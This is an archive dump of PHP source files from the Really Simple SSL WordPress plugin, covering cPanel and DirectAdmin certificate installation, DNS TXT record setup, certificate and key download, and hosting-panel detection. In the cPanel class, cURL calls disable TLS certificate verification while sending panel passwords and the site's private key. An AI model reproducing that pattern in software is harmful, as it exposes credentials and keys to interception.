		$cabundle_file = get_option( 'rsssl_intermediate_path' );

		try {
			$server_ssl=true;
			$server_port=2222;
			$sock = new HTTPSocket;
			if ($server_ssl){
				$sock->connect("ssl://".$this->host, $server_port);
			} else {
				$sock->connect($this->host, $server_port);
			}
			$sock->set_login($this->login, $this->password);
			$sock->method = "POST";
			$sock->query('/CMD_API_SSL',
				array(
					'domain' => $domain,
					'action' => 'save',
					'type' => 'paste',
					'certificate' => file_get_contents( $key_file ) . file_get_contents( $cert_file )
				));
			$response = $sock->fetch_parsed_body();

			//set a default error response
			$status = 'warning';
			$action = 'continue';
			$message = rsssl_get_manual_instructions_text($this->ssl_installation_url);


			//if successful, proceed to next step
			if ( empty($response['details']) && stripos($response[0], 'Error' ) ) {
				$sock->query('/CMD_SSL',
					array(
						'domain' => $domain,
						'action' => 'save',
						'type' => 'cacert',
						'active' => 'yes',
						'cacert' => file_get_contents( $cabundle_file )
					));
				$response = $sock->fetch_parsed_body();
				if ( empty($response['details']) && stripos($response[0], 'Error' ) ) {
					$status = 'success';
					$action = 'finalize';
					$message = sprintf(__("SSL successfully installed on %s","really-simple-ssl"), $domain);
					update_option( 'rsssl_le_certificate_installed_by_rsssl', 'directadmin', false );
					delete_option( 'rsssl_installation_error' );
				}
			}


		} catch ( Exception $e ) {
			update_option( 'rsssl_installation_error', 'directadmin', false );
			$status  = 'warning';
			$action  = 'continue';
			$message = $e->getMessage();
		}

		return new RSSSL_RESPONSE( $status, $action, $message );
	}

}





really-simple-ssl/lets-encrypt/integrations/index.php000064400000000043147510273070017104 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/integrations/integrations.php000064400000001276147510273070020514 0ustar00<?php defined( 'ABSPATH' ) or die();
$other_host = rsssl_get_other_host();
if (file_exists( rsssl_le_path . "integrations/$other_host/$other_host.php" )) {
	require_once( rsssl_le_path . "integrations/$other_host/$other_host.php" );
}
if (file_exists( rsssl_le_path . "integrations/$other_host/functions.php" )){
	require_once( rsssl_le_path . "integrations/$other_host/functions.php" );
}

if ( rsssl_is_cpanel() ) {
	require_once( rsssl_le_path . 'integrations/cpanel/cpanel.php' );
} else if ( rsssl_is_plesk() ) {
	require_once( rsssl_le_path . 'integrations/plesk/plesk.php' );
} else if ( rsssl_is_directadmin() ) {
	require_once( rsssl_le_path . 'integrations/directadmin/directadmin.php' );
}

really-simple-ssl/lets-encrypt/integrations/hostgator/hostgator.php000064400000000250147510273070022021 0ustar00<?php
defined( 'ABSPATH' ) or die();

/**
 * On hostgator, we don't have the cpanel api, so remove these steps.
 * This is managed in the config, in the hosts array
*/
really-simple-ssl/lets-encrypt/integrations/cpanel/functions.php000064400000007263147510273070021262 0ustar00<?php
defined( 'ABSPATH' ) or die();

function rsssl_install_cpanel_autossl(){
	if ( rsssl_is_ready_for('installation') ) {
		$cpanel = new rsssl_cPanel();
		$domains = RSSSL_LE()->letsencrypt_handler->get_subjects();
		$response = $cpanel->enableAutoSSL($domains);
		if ( $response->status === 'success' ) {
			update_option('rsssl_le_certificate_installed_by_rsssl', 'cpanel:autossl', false);
		}
		return $response;
	}

	$status  = 'error';
	$action  = 'stop';
	$message = __("The system is not ready for the installation yet. Please run the wizard again.", "really-simple-ssl");

	return new RSSSL_RESPONSE($status, $action, $message);
}

function rsssl_install_cpanel_default(){
	if (rsssl_is_ready_for('installation')) {
		$cpanel = new rsssl_cPanel();
		$domains = RSSSL_LE()->letsencrypt_handler->get_subjects();
		$response = $cpanel->installSSL($domains);
		if ( $response->status === 'success' ) {
			update_option('rsssl_le_certificate_installed_by_rsssl', 'cpanel:default', false);
		}
		return $response;
	}

	$status  = 'error';
	$action  = 'stop';
	$message = __("The system is not ready for the installation yet. Please run the wizard again.", "really-simple-ssl");

	return new RSSSL_RESPONSE($status, $action, $message);
}

function rsssl_cpanel_set_txt_record(){
	if ( rsssl_is_ready_for('dns-verification') ) {
		$cpanel = new rsssl_cPanel();
		$tokens = get_option('rsssl_le_dns_tokens');
		if ( !$tokens) {
			$status = 'error';
			$action = 'stop';
			$message = __('Token not generated. Please complete the previous step.',"really-simple-ssl");
			return new RSSSL_RESPONSE($status, $action, $message);
		}

		foreach ($tokens as $domain => $token){
			if (strpos($domain, '*') !== false) continue;
			$response = $cpanel->set_txt_record($domain, $token);
		}

		if ( $response->status === 'success' ) {
			update_option('rsssl_le_dns_configured_by_rsssl', true, false);
		}
		return $response;
	} else {
		$status = 'error';
		$action = 'stop';
		$message = __("The system is not ready for the DNS verification yet. Please run the wizard again.", "really-simple-ssl");
		return new RSSSL_RESPONSE($status, $action, $message);
	}
}

/**
 * Add actions for cpanel
 * @param array $fields
 *
 * @return array
 */

function rsssl_cpanel_add_condition_actions($fields){
	$cpanel = new rsssl_cPanel();
	if ( $cpanel->credentials_available() ) {
		//this defaults to true, if not known.
		$auto_ssl    = RSSSL_LE()->hosts->host_api_supported( 'cpanel:autossl' );
		$default_ssl = RSSSL_LE()->hosts->host_api_supported( 'cpanel:default' );

		$installation_index = array_search( 'installation', array_column( $fields, 'id' ) );
		$dns_index = array_search( 'dns-verification', array_column( $fields, 'id' ) );

		//clear existing array
		if ( $auto_ssl || $default_ssl ) {
			$fields[ $installation_index ]['actions'] = array();
		}
		if ( $auto_ssl ) {
			$fields[ $installation_index ]['actions'][] = [
				'description' => __( "Attempting to install certificate using AutoSSL...", "really-simple-ssl" ),
				'action'      => 'rsssl_install_cpanel_autossl',
				'attempts'    => 1,
				'status'      => 'inactive',
			];
		}

		if ( $default_ssl ) {
			$fields[ $dns_index ]['actions'][] = [
				'description' => __( "Attempting to set DNS txt record...", "really-simple-ssl" ),
				'action'      => 'rsssl_cpanel_set_txt_record',
				'attempts'    => 1,
				'status'      => 'inactive',
			];

			$fields[ $installation_index ]['actions'][] = [
				'description' => __( "Attempting to install certificate...", "really-simple-ssl" ),
				'action'      => 'rsssl_install_cpanel_default',
				'attempts'    => 1,
				'status'      => 'inactive',
			];
		}
	}

	return $fields;
}
add_filter("rsssl_fields", "rsssl_cpanel_add_condition_actions");
really-simple-ssl/lets-encrypt/integrations/cpanel/cpanel.php000064400000026605147510273070020515 0ustar00<?php
defined( 'ABSPATH' ) or die();
require_once rsssl_path . 'lib/admin/class-encryption.php';
use RSSSL\lib\admin\Encryption;
require_once( rsssl_le_path . 'integrations/cpanel/functions.php' );
/**
 * Completely rebuilt and improved on the FreeSSL.tech Auto CPanel class by Anindya Sundar Mandal
 */
class rsssl_cPanel
{
	use Encryption;
    public $host;
    private $username;
    private $password;
    public  $ssl_installation_url;

    /**
     * Initiates the cPanel class.
     */
    public function __construct()
    {
	    $username = rsssl_get_option('cpanel_username');
	    $password = $this->decrypt_if_prefixed( rsssl_get_option('cpanel_password') );
	    $host = rsssl_get_option('cpanel_host');
	    $this->host =  str_replace( array('http://', 'https://', ':2083',':'), '', $host );
        $this->username = $username;
        $this->password = $password;
        $this->ssl_installation_url = 'https://'.$this->host.":2083/frontend/jupiter/ssl/install.html";
    }
	/**
	 * Check if all creds are available
	 * @return bool
	 */
	public function credentials_available(){
		if (!empty($this->host) && !empty($this->password) && !empty($this->username)) {
			return true;
		}
		return false;
	}

	/**
	 * Install SSL for all passed domains
	 * @param array $domains
	 *
	 * @return RSSSL_RESPONSE
	 */
    public function installSSL($domains) {
	    $response = false;

	    if ( is_array($domains) && count($domains)>0 ) {
		    foreach( $domains as $domain ) {
			    $response_item = $this->installSSLPerDomain($domain);
			    //set on first iteration
			    if ( !$response ) {
				    $response = $response_item;
			    }

			    //override if not successfull, to always get the error.
			    if ( $response->status !== 'success' ) {
				    $response = $response_item;
			    }
		    }
	    }

	    if ( !$response ) {
	    	$response = new RSSSL_RESPONSE('error', 'stop', __("No valid list of domains.", "really-simple-ssl"));
	    }

	    if ( $response->status === 'success' ) {
		    update_option('rsssl_le_certificate_installed_by_rsssl', 'cpanel:default', false);
	    }

	    return $response;
    }

    /**
     * Install an SSL certificate on the domain provided - using cPanel UAPI.
     *
     * @param string $domain
     *
     * @return RSSSL_RESPONSE
     */
    public function installSSLPerDomain($domain)
    {
	    $shell_addon_active = defined('rsssl_shell_path');

	    $key_file = get_option('rsssl_private_key_path');
	    $cert_file = get_option('rsssl_certificate_path');
	    $cabundle_file = get_option('rsssl_intermediate_path');
        $request_uri = 'https://'.$this->host.':2083/execute/SSL/install_ssl';

        $payload = [
            'domain' => $domain,
            'cert' => file_get_contents($cert_file),
            'key' => file_get_contents($key_file),
            'cabundle' => file_get_contents($cabundle_file),
        ];

	    $response_raw = $this->connectUapi($request_uri, $payload);
	    $isIpBlock = $this->isIpBlock($response_raw);
	    $isLoginError = !$isIpBlock && $this->isLoginError($response_raw);
	    $response = json_decode($response_raw);
        //Validate $response
	    if ($isIpBlock) {
		    update_option( 'rsssl_installation_error', 'cpanel:autossl', false );
		    $status  = 'error';
		    $action  = 'stop';
		    $message = __( "Your website's ip address is blocked. Please add your domain's ip address to the security policy in CPanel", "really-simple-ssl" );
	    } else if ($isLoginError) {
		    update_option('rsssl_installation_error', 'cpanel:autossl', false);
		    $status = 'error';
		    $action = 'stop';
		    $message = __("Login credentials incorrect. Please check your login credentials for cPanel.","really-simple-ssl");
	    } else if ( empty($response) ) {
	        update_option('rsssl_installation_error', 'cpanel:default', false);
	        $status = 'warning';
	        $action = $shell_addon_active ? 'skip' : 'continue';
	        $message = rsssl_get_manual_instructions_text($this->ssl_installation_url);
        } else if ($response->status) {
	        delete_option('rsssl_installation_error' );
	        $status = 'success';
	        $action = 'continue';
	        $message = sprintf(__("SSL successfully installed on %s","really-simple-ssl"), $domain);
        } else {
	        update_option('rsssl_installation_error', 'cpanel:default', false);
	        $status = 'error';
	        $action = $shell_addon_active ? 'skip' : 'continue';
	        $message = __("Errors were reported during installation.","really-simple-ssl").'<br> '.$response->errors[0];
        }

		return new RSSSL_RESPONSE($status, $action, $message);
    }

	/**
	 * Based on the known output of an ip block html page, check if the user should whitelist their own website ip.
	 * @param $raw
	 *
	 * @return bool
	 */
	public function isIpBlock($raw){
		$triggers = [
			'security_policy',
			'You appear to be logging in from an unknown location',
			'unrecognized IP address',
		];
		foreach($triggers as $key => $trigger ) {
			if (strpos($raw,$trigger)!==false) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Based on the known output of an ip block html page, check if the user has entered incorrect login creds
	 * @param $raw
	 *
	 * @return bool
	 */
	public function isLoginError($raw){
		$triggers = [
			'input-field-login icon password',
			'name="pass" id="pass"',
		];
		foreach($triggers as $key => $trigger ) {
			if (strpos($raw,$trigger)!==false) {
				return true;
			}
		}
		return false;
	}
	/**
	 * @param $domains
	 *
	 * @return RSSSL_RESPONSE
	 */
    public function enableAutoSSL($domains){
    	$domains = implode(',', $domains);
	    $request_uri = 'https://'.$this->host.':2083/execute/SSL/remove_autossl_excluded_domains';
	    $payload = [
		    'domains' => $domains,
	    ];

	    $response_raw = $this->connectUapi($request_uri, $payload);
		$isIpBlock = $this->isIpBlock($response_raw);
		$response = json_decode($response_raw);
	    //Validate $response
	    if ($isIpBlock) {
		    update_option('rsssl_installation_error', 'cpanel:autossl', false);
		    $status = 'error';
		    $action = 'stop';
		    $message = __("Your website's ip address is blocked. Please add your domain's ip address to the security policy in CPanel","really-simple-ssl");
	    } else if (empty($response)) {
	    	update_option('rsssl_installation_error', 'cpanel:autossl', false);
		    $status = 'error';
		    $action = 'skip';
		    $message = rsssl_get_manual_instructions_text($this->ssl_installation_url);
	    } else if ($response->status) {
		    delete_option('rsssl_installation_error');
		    $status = 'success';
		    $action = 'finalize';
		    $message = __("SSL successfully installed on $domains","really-simple-ssl");
	    } else {
		    update_option('rsssl_installation_error', 'cpanel:autossl', false);
		    $status = 'error';
		    $action = 'skip';//we try the default next
		    $message = __("Errors were reported during installation.","really-simple-ssl").'<br> '.$response->errors[0];
	    }
	    return new RSSSL_RESPONSE($status, $action, $message);
    }

    /**
     * Connect to the cPanel using UAPI.
     *
     * @param string     $request_uri
     * @param null|array $payload
     *
     * @return mixed
     */
    public function connectUapi($request_uri, $payload = null)
    {
    	// Set up the cURL request object.
        $ch = curl_init($request_uri);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_USERPWD, $this->username.':'.$this->password);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	    curl_setopt($ch, CURLOPT_BUFFERSIZE, 131072);

        if (null !== $payload) {
            // Set up a POST request with the payload.
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        }

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        // Make the call, and then terminate the cURL caller object.
        $curl_response = curl_exec($ch);
	    if (curl_errno($ch)) {
		    $error_msg = curl_error($ch);
	    }
        curl_close($ch);

        //return output.
        return $curl_response;
    }

	/**
	 * Set DNS TXT record using Json API through cPanel XMLAPI.
	 *
	 * @param string $domain
	 * @param string $value
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function set_txt_record($domain, $value)
	{
		$args = [
			'domain' => $domain,
			'name' => '_acme-challenge',
			'type' => 'TXT',
			'txtdata' => $value,
			'ttl' => '600',
			'class' => 'IN',
			'cpanel_jsonapi_user' => $this->username,
			'cpanel_jsonapi_module' => 'ZoneEdit',
			'cpanel_jsonapi_func' => 'add_zone_record',
			'cpanel_jsonapi_apiversion' => '2',
		];

		$args = http_build_query($args, '', '&');
		$url = 'https://'.$this->host.':2083/json-api/cpanel';
		$authstr = 'Authorization: Basic '.base64_encode($this->username.':'.$this->password)."\r\n";

		$curl = curl_init();
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_BUFFERSIZE, 131072);

		$header[0] = $authstr.
		             "Content-Type: application/x-www-form-urlencoded\r\n".
		             'Content-Length: '.\strlen($args)."\r\n"."\r\n".$args;

		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_POST, 1);

		$response = curl_exec($curl);
		curl_close($curl);

		if (false === $response) {
			return new RSSSL_RESPONSE('error', 'stop', __("Unable to connect to cPanel", "really-simple-ssl").' '.curl_error($curl));
		}

		if (true === stristr($response, '<html>')) {
			return new RSSSL_RESPONSE('error', 'stop', __("Login credentials incorrect", "really-simple-ssl"));
		}
		$response_array = json_decode($response, true);

		if ( isset($response_array['cpanelresult']['data'][0]['result']['status']) ) {
			if ($response_array['cpanelresult']['data'][0]['result']['status']) {
				$status = 'success';
				$action = 'continue';
				$message = __("Successfully added TXT record.","really-simple-ssl");
			} else {
				$status = 'warning';
				$action = 'continue';
				$message = __("Could not automatically add TXT record. Please proceed manually, following the steps below.","really-simple-ssl");
				if (isset($response_array['cpanelresult']['data'][0]['result']['statusmsg'])) {
					$message .= '<br>'.$response_array['cpanelresult']['data'][0]['result']['statusmsg'];
				}
			}
			return new RSSSL_RESPONSE($status, $action, $message);
		}

		$event_result = (bool) $response_array['cpanelresult']['event']['result'];
		$preevent_result = isset($response_array['cpanelresult']['preevent']) ? (bool) $response_array['cpanelresult']['preevent']['result'] : true; //Some cPanel doesn't provide this key. In that case, ignore it by setting 'true'.
		$postevent_result = isset($response_array['cpanelresult']['postevent']) ? (bool) $response_array['cpanelresult']['postevent']['result'] : true; //Some cPanel doesn't provide this key. In that case, ignore it by setting 'true'.

		if ($event_result && $preevent_result && $postevent_result) {
			$status = 'success';
			$action = 'continue';
			$message = __("Successfully added TXT record.","really-simple-ssl");
		} else {
			$status = 'warning';
			$action = 'continue';
			$message = __("Could not automatically add TXT record. Please proceed manually, following the steps below.","really-simple-ssl");
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}


}
really-simple-ssl/lets-encrypt/download.php000064400000005205147510273070015103 0ustar00<?php
# No need for the template engine
define( 'WP_USE_THEMES', false );

#find the base path
define( 'BASE_PATH', rsssl_find_wordpress_base_path()."/" );
# Load WordPress Core
if ( !file_exists(BASE_PATH . 'wp-load.php') ) {
	die("WordPress not installed here");
}
require_once( BASE_PATH.'wp-load.php' );
require_once( ABSPATH.'wp-includes/class-phpass.php' );
require_once( ABSPATH . 'wp-admin/includes/image.php' );

if ( !rsssl_user_can_manage() ) {
	die();
}
if ( !isset($_GET["type"]) ) {
	die();
}

if (!isset($_GET['token'])) {
	die();
}

if (!wp_verify_nonce($_GET['token'], 'rsssl_download_cert')){
	die();
}

$type = sanitize_title($_GET['type']);
switch($type) {
	case 'certificate':
		$file = get_option('rsssl_certificate_path');
		$file_name = 'certificate.cert';
		break;
	case 'private_key':
		$file = get_option('rsssl_private_key_path');
		$file_name = 'private.pem';
		break;
	case 'intermediate':
		$file = get_option('rsssl_intermediate_path');
		$file_name = 'intermediate.pem';
		break;
	default:
		$file = false;
}

if (!file_exists($file)) {
	$content = __("File missing. Please retry the previous steps.", "really-simple-ssl");
	die();
} else {
	$content = file_get_contents($file);
}

$fp = fopen($file, 'rb');
if ($fp) {
	if (function_exists('mb_strlen')) {
		$fsize = mb_strlen($content, '8bit');
	} else {
		$fsize = strlen($content);
	}
	$path_parts = pathinfo($file);

	header("Content-type: text/plain");
	header("Content-Disposition: attachment; filename=\"".$file_name."\"");
	header("Content-length: $fsize");
	header("Cache-Control: private",false); // required for certain browsers
	header("Pragma: public"); // required
	header("Expires: 0");
	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	header("Content-Transfer-Encoding: binary");
	echo $content;
} else {
	echo "Something went wrong #2";
}
fclose($fp);


function rsssl_find_wordpress_base_path()
{
	$path = dirname(__FILE__);

	do {
		if (file_exists($path . "/wp-config.php")) {
			//check if the wp-load.php file exists here. If not, we assume it's in a subdir.
			if ( file_exists( $path . '/wp-load.php') ) {
				return $path;
			} else {
				//wp not in this directory. Look in each folder to see if it's there.
				if ( file_exists( $path ) && $handle = opendir( $path ) ) {
					while ( false !== ( $file = readdir( $handle ) ) ) {
						if ( $file != "." && $file != ".." ) {
							$file = $path .'/' . $file;
							if ( is_dir( $file ) && file_exists( $file . '/wp-load.php') ) {
								$path = $file;
								break;
							}
						}
					}
					closedir( $handle );
				}
			}

			return $path;
		}
	} while ($path = realpath("$path/.."));

	return false;
}
really-simple-ssl/lets-encrypt/functions.php000064400000041436147510273070015312 0ustar00<?php defined( 'ABSPATH' ) or die();

/**
 * Create a generic read more text with link for help texts.
 *
 * @param string $url
 * @param bool   $add_space
 *
 * @return string
 */
function rsssl_le_read_more( $url, $add_character = ' ' ) {
	$html = sprintf( __( "For more information, please read this %sarticle%s",
		'really-simple-ssl' ), '<a target="_blank" rel="noopener noreferrer" href="' . $url . '">',
		'</a>' );
	if ( is_string($add_character) ) {
		$html = $add_character . $html;
	}

	return $html;
}



/**
 * Check if we need to use DNS verification
 * @return bool
 */
function rsssl_dns_verification_required(){

	if ( get_option('rsssl_manually_changed_verification_type') ) {
		return rsssl_get_option( 'verification_type' ) === 'dns';
	}
	/**
	 * If our current hosting provider does not allow or require local SSL certificate generation,
	 * We do not need to DNS verification either.
	 */

	if ( !rsssl_do_local_lets_encrypt_generation() ) {
		return false;
	}

	if ( rsssl_get_option('verification_type')==='dns' ) {
		return true;
	}

	if ( rsssl_wildcard_certificate_required() ) {
		//if the user hasn't manually forced the verification type to anything else, we set it to dns now.
		//otherwise we get a difference between this requirement, and the actual verification type that could be 'dir'
		if ( !get_option('rsssl_manually_changed_verification_type') && rsssl_get_option('verification_type')!=='dns' ) {
			rsssl_update_option('verification_type', 'dns');
		}
		return true;
	}
	return false;
}

if ( !function_exists('rsssl_is_cpanel')) {
	/**
	 * Check if we're on CPanel
	 *
	 * @return bool
	 */
	function rsssl_is_cpanel() {
		$open_basedir = ini_get("open_basedir");
		if ( empty($open_basedir) && file_exists( "/usr/local/cpanel" ) ) {
			return true;
		} else if (rsssl_check_port(2082)) {
			return true;
		} else {
			return false;
		}
	}
}

if (!function_exists('rsssl_cpanel_api_supported')) {
	/**
	 * Check if CPanel supports the api
	 *
	 * @return bool
	 */
	function rsssl_cpanel_api_supported() {
		if ( rsssl_is_cpanel() ) {
			return true;
		}

		return !rsssl_openbasedir_restriction("/usr/local/cpanel/php/cpanel.php") && file_exists( "/usr/local/cpanel/php/cpanel.php" );
	}
}

if (!function_exists('rsssl_activated_by_default')) {
	/**
	 * Check if the host has ssl, activated by default
	 *
	 * @return bool
	 */
	function rsssl_activated_by_default() {
		$activated_by_default =  false;
		$activated_by_default_hosts = RSSSL_LE()->hosts->activated_by_default;
		$current_host         = rsssl_get_other_host();
		if ( in_array( $current_host, $activated_by_default_hosts ) ) {
			$activated_by_default =  true;
		}
		return $activated_by_default;
	}
}

if ( !function_exists('rsssl_openbasedir_restriction')) {
	function rsssl_openbasedir_restriction( string $path): bool {

		// Default error handler is required
		set_error_handler(null);

		// Clean last error info.
		error_clear_last();

		// Testing...
		@file_exists($path);

		// Restore previous error handler
		restore_error_handler();

		// Return `true` if error has occurred
		return ($error = error_get_last()) && $error['message'] !== '__clean_error_info';
	}
}

if (!function_exists('rsssl_activation_required')) {
	/**
	 * Check if the host has ssl, activation required
	 *
	 * @return bool
	 */
	function rsssl_activation_required() {
		$dashboard_activation_required =  false;
		$dashboard_activation_required_hosts = RSSSL_LE()->hosts->dashboard_activation_required;
		$current_host         = rsssl_get_other_host();
		if ( in_array( $current_host, $dashboard_activation_required_hosts ) ) {
			$dashboard_activation_required =  true;
		}
		return $dashboard_activation_required;
	}
}

if (!function_exists('rsssl_paid_only')) {
	/**
	 * Check if the host has ssl, paid only
	 *
	 * @return bool
	 */
	function rsssl_paid_only() {
		$paid_only =  false;
		$paid_only_hosts = RSSSL_LE()->hosts->paid_only;
		$current_host         = rsssl_get_other_host();
		if ( in_array( $current_host, $paid_only_hosts ) ) {
			$paid_only =  true;
		}
		return $paid_only;
	}
}

if ( !function_exists('rsssl_is_plesk')) {
	/**
	 * https://stackoverflow.com/questions/26927248/how-to-detect-servers-control-panel-type-with-php
	 * @return false
	 */
	function rsssl_is_plesk() {

		if ( get_option('rsssl_hosting_dashboard')==='plesk' ){
			return true;
		}

		//cpanel takes precedence, as it's more precise
		if ( rsssl_is_cpanel() ) {
			return false;
		}

		$open_basedir = ini_get("open_basedir");
		if ( empty($open_basedir) && is_dir( '/usr/local/psa' ) ) {
			return true;
		} else if (rsssl_check_port(8443)) {
			return true;
		} else {
			return false;
		}
	}
}

if ( !function_exists('rsssl_is_directadmin')) {
	/**
	 * https://stackoverflow.com/questions/26927248/how-to-detect-servers-control-panel-type-with-php
	 * @return bool
	 */
	function rsssl_is_directadmin() {
		if ( get_option('rsssl_hosting_dashboard')==='directadmin' ){
			return true;
		}

		//cpanel takes precedence, as it's more precise
		if ( rsssl_is_cpanel() ) {
			return false;
		}

		if ( rsssl_is_plesk() ) {
			return false;
		}

		if (rsssl_check_port(2222)) {
			return true;
		} else {
			return false;
		}
	}
}

/**
 * @param int $port
 *
 * @return bool
 */

function rsssl_check_port( $port)
{
	$port_check_status = get_option("rsssl_port_check_$port");
	if ( !function_exists('fsockopen') || $port_check_status === 'fail' ) {
		return false;
	}

	$ipAddress = gethostbyname('localhost');
	$link = @fsockopen( $ipAddress, $port, $errno, $error, 5 );

	if ( $link ) {
		update_option("rsssl_port_check_$port", 'success', false);
		return true;
	}

	update_option("rsssl_port_check_$port", 'fail', false);
	return false;
}

if ( !function_exists('rsssl_get_other_host') ) {
	/**
	 * Get the selected hosting provider, if any.
	 * @return bool|string
	 */
	function rsssl_get_other_host() {
		return rsssl_get_option( 'other_host_type', false );
	}
}

/**
 * Add some information to the javascript
 * @param array $args
 *
 * @return array
 */
function rsssl_le_localize_script($args){
	$hosting_dashboard = 'other';
	if ( rsssl_is_cpanel() ) $hosting_dashboard = 'cpanel';
	if ( rsssl_is_directadmin() ) $hosting_dashboard = 'directadmin';
	if ( rsssl_is_plesk() ) $hosting_dashboard = 'plesk';
	$args['hosting_dashboard'] = $hosting_dashboard;
	return $args;
}
add_filter("rsssl_localize_script", 'rsssl_le_localize_script', 10, 3);


if ( !function_exists('rsssl_progress_add')) {
	/**
	 * @param string $item
	 */
	function rsssl_progress_add( $item ) {
		$progress = get_option( "rsssl_le_installation_progress", array() );
		if ( ! in_array( $item, $progress ) ) {
			$progress[] = $item;
			update_option( "rsssl_le_installation_progress", $progress, false );
		}
	}
}

if ( !function_exists('rsssl_uses_known_dashboard')) {
	/**
	 * Check if website uses any of the known dashboards.
	 */
	function rsssl_uses_known_dashboard( ) {
		if ( rsssl_is_cpanel() || rsssl_is_plesk() || rsssl_is_directadmin() ) {
			return true;
		} else {
			return false;
		}
	}
}

if ( !function_exists('rsssl_is_ready_for')) {
	/**
	 * @param string $item
	 */
	function rsssl_is_ready_for( $item ) {
		if ( !rsssl_do_local_lets_encrypt_generation() ) {
			rsssl_progress_add('directories');
			rsssl_progress_add('generation');
			rsssl_progress_add('dns-verification');
		}

		if ( !rsssl_dns_verification_required() ) {
			rsssl_progress_add('dns-verification');
		}

		if (empty(rsssl_get_not_completed_steps($item))){
			return true;
		} else{
			return false;
		}
	}
}

 function rsssl_get_not_completed_steps($item){
	$sequence = array_column( rsssl_le_steps(), 'id');
	//drop first
	array_shift($sequence);
	//drop all statuses after $item. We only need to know if all previous ones have been completed
	$index = array_search($item, $sequence);
	$sequence = array_slice($sequence, 0, $index, true);
	$not_completed = array();
	$finished = get_option("rsssl_le_installation_progress", array());
	foreach ($sequence as $status ) {
		if (!in_array($status, $finished)) {
			$not_completed[] = $status;
		}
	}

	return $not_completed;
}

if ( !function_exists('rsssl_progress_remove')) {
	/**
	 * @param string $item
	 */
	function rsssl_progress_remove( $item ) {
		$progress = get_option( "rsssl_le_installation_progress", array() );
		if ( in_array( $item, $progress ) ) {
			$index = array_search( $item, $progress );
			unset( $progress[ $index ] );
			update_option( "rsssl_le_installation_progress", $progress, false );
		}
	}
}

if ( !function_exists('rsssl_do_local_lets_encrypt_generation')) {
	/**
	 * Check if the setup requires local certificate generation
	 * @return bool
	 */
	function rsssl_do_local_lets_encrypt_generation() {
		$not_local_cert_hosts = RSSSL_LE()->hosts->not_local_certificate_hosts;
		$current_host         = rsssl_get_other_host();
		if ( in_array( $current_host, $not_local_cert_hosts ) ) {
			return false;
		}
		return true;
	}
}

if ( !function_exists('rsssl_get_manual_instructions_text')) {
	/**
	 * Manual installation instructions
	 *
	 * @param string $url
	 *
	 * @return string
	 */
	function rsssl_get_manual_instructions_text( $url ) {
		$default_url = rsssl_link('install-ssl-certificate');
		$dashboard_activation_required = rsssl_activation_required();
		$activated_by_default = rsssl_activated_by_default();
		$paid_only = rsssl_paid_only();
		$button_activate = '<br><a href="' . $default_url . '" target="_blank" rel="noopener noreferrer" class="button button-primary">' . __( "Instructions", "really-simple-ssl" ) . '</a>&nbsp;&nbsp;';
		$button_complete = '<br><a href="' . $default_url . '" target="_blank" rel="noopener noreferrer" class="button button-primary">' . __( "Instructions", "really-simple-ssl" ) . '</a>&nbsp;&nbsp;';

		if ( $url === $default_url ) {
			$complete_manually = sprintf( __( "Please complete manually in your hosting dashboard.", "really-simple-ssl" ), '<a target="_blank" href="' . $url . '">', '</a>' );
			$activate_manually = sprintf( __( "Please activate it manually on your hosting dashboard.", "really-simple-ssl" ), '<a target="_blank" href="' . $url . '">', '</a>' );
		} else {
			$complete_manually = sprintf( __( "Please complete %smanually%s", "really-simple-ssl" ), '<a target="_blank" rel="noopener noreferrer" href="' . $url . '">', '</a>' );
			$activate_manually = sprintf( __( "Please activate it on your dashboard %smanually%s", "really-simple-ssl" ), '<a target="_blank" rel="noopener noreferrer" href="' . $url . '">', '</a>' );
			$button_activate   .= '<a href="' . $url . '" target="_blank" rel="noopener noreferrer" class="button button-primary">' . __( "Go to activation", "really-simple-ssl" ) . '</a>';
			$button_complete   .= '<a href="' . $url . '" target="_blank" rel="noopener noreferrer" class="button button-primary">' . __( "Go to installation", "really-simple-ssl" ) . '</a>';
		}

		if ( $activated_by_default ) {
			$msg
				= sprintf( __( "According to our information, your hosting provider supplies your account with an SSL certificate by default. Please contact your %shosting support%s if this is not the case.",
					"really-simple-ssl" ), '<a target="_blank "rel="noopener noreferrer" href="' . $url . '">', '</a>' ) . '&nbsp' .
				  __( "After completing the installation, you can continue to the next step to complete your configuration.", "really-simple-ssl" );
		} else if ( $dashboard_activation_required ) {
			$msg = __( "You already have free SSL on your hosting environment.", "really-simple-ssl" ) . '&nbsp' .
			       $activate_manually . ' ' .
			       __( "After completing the installation, you can continue to the next step to complete your configuration.", "really-simple-ssl" )
			       . $button_activate;
		} else if ( $paid_only ) {
			$msg
				= sprintf( __( "According to our information, your hosting provider does not allow any kind of SSL installation, other then their own paid certificate. For an alternative hosting provider with SSL, see this %sarticle%s.",
				"really-simple-ssl" ), '<a target="_blank" rel="noopener noreferrer" href='.rsssl_link("hosting-providers-with-free-ssl").'>', '</a>' );
		} else {
			$msg = __( "Your hosting environment does not allow automatic SSL installation.", "really-simple-ssl" ) . ' ' .
			       $complete_manually . ' ' .
			       sprintf( __( "You can follow these %sinstructions%s.", "really-simple-ssl" ), '<a target="_blank" rel="noopener noreferrer" href="' . $default_url . '">', '</a>' ) . '&nbsp' .
			       __( "After completing the installation, you can continue to the next step to complete your configuration.", "really-simple-ssl" )
			       . $button_complete;
		}

		return $msg;
	}
}

register_activation_hook( __FILE__, 'rsssl_set_activation_time_stamp' );
if ( ! function_exists( 'rsssl_set_activation_time_stamp' ) ) {
    function rsssl_set_activation_time_stamp( $networkwide ) {
